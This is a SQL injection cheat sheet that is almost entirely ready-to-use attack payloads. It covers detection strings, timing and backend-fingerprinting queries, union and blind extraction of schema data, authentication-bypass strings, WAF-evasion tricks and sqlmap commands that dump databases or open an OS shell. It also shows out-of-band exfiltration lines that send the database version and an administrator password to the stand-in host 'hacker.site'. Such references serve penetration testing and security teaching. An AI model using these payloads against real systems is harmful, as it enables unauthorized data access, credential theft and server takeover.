SQL Injection is a security flaw that allows attackers to interfere with the database queries of an application, potentially viewing, modifying, or deleting data they shouldn’t access.
Entry Point Detection
The first step is finding a value you control that is injected into a query. Try these break characters:
-- MySQL
#comment
-- comment
/*comment*/
-- PostgreSQL
--comment
/*comment*/
-- MSSQL
--comment
/*comment*/
-- Oracle
--comment
Confirming with Logical Operations
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Confirming with Timing
-- MySQL
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
-- PostgreSQL
1' || pg_sleep(10)
-- MSSQL
1' WAITFOR DELAY '0:0:10'
-- Oracle
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
-- SQLite
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Identifying the Backend
-- MySQL
convconv('a',16,2)=conv('a',16,2)
crc32('MySQL')=crc32('MySQL')
-- MSSQL
@@CONNECTIONS>0
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
-- PostgreSQL
5::int=5
pg_client_encoding()=pg_client_encoding()
-- Oracle
ROWNUM=ROWNUM
-- SQLite
sqlite_version()=sqlite_version()
Union-Based Exploitation
Find Number of Columns
1' ORDER BY 1--+ -- True
1' ORDER BY 2--+ -- True
1' ORDER BY 3--+ -- True
1' ORDER BY 4--+ -- False (query uses 3 columns)
Or use UNION SELECT with NULLs:1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Extract Database Information
-- Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
-- Tables in a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
-- Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table]
Error-Based Exploitation
When you can see error messages but not query output:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injection
When you can only distinguish between true/false responses:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Time-Based Blind SQLi
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Oracle does not support stacked queries. MySQL, Microsoft, and PostgreSQL do:
QUERY-1-HERE; QUERY-2-HERE
Out-of-Band Exfiltration
-- DNS exfiltration
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
-- XXE via Oracle
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Authentication Bypass
-- Classic
' OR '1'='1
' OR 1=1--
admin'--
-- MD5 raw output bypass
md5("ffifdyop", true) = 'or'6\]\xC3\x85!r,\xC3\x9Db\xC3\x96
-- Injected hash bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
-- GBK bypass (when ' is escaped)
%A8%27 OR 1=1;-- 2
%bf' or 1=1 -- --
WAF Bypasses
No Spaces
No Commas
Keyword Bypasses
Scientific Notation
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1/*comment*/and/**/1=1/**/--
?id=(1)and(1)=(1)--
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- Case variation
1 AnD 1=1#
1 aNd 1=1#
-- Operator substitution
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE, REGEXP, RLIKE
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
INSERT Statement Attacks
-- SQL Truncation Attack (when length limit exists)
-- Create user: "admin [25 spaces] a"
-- The extra chars get truncated, updating admin's password
-- ON DUPLICATE KEY UPDATE
INSERT INTO users (email, password) VALUES
("[email protected]", "bcrypt_hash"),
("[email protected]", "bcrypt_hash")
ON DUPLICATE KEY UPDATE password="bcrypt_hash";
Bypass Column Name Restriction
# Access column by position when name is blocked
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
# With comma bypass
-1 union select * from (select 1)a join (select 2)b join
(select F.3 from (select * from (select 1)q join (select 2)w join
(select 3)e union select * from flag limit 1 offset 5)F)c
Automated Exploitation
# sqlmap basic usage
sqlmap -u "http://target.com/?id=1"
# With specific technique
sqlmap -u "http://target.com/?id=1" --technique=U
# Dump database
sqlmap -u "http://target.com/?id=1" --dump
# OS shell
sqlmap -u "http://target.com/?id=1" --os-shell
Resources
- PayloadsAllTheThings SQL Injection wordlists
- PortSwigger SQL Injection cheat sheet
- SQLmap for automated exploitation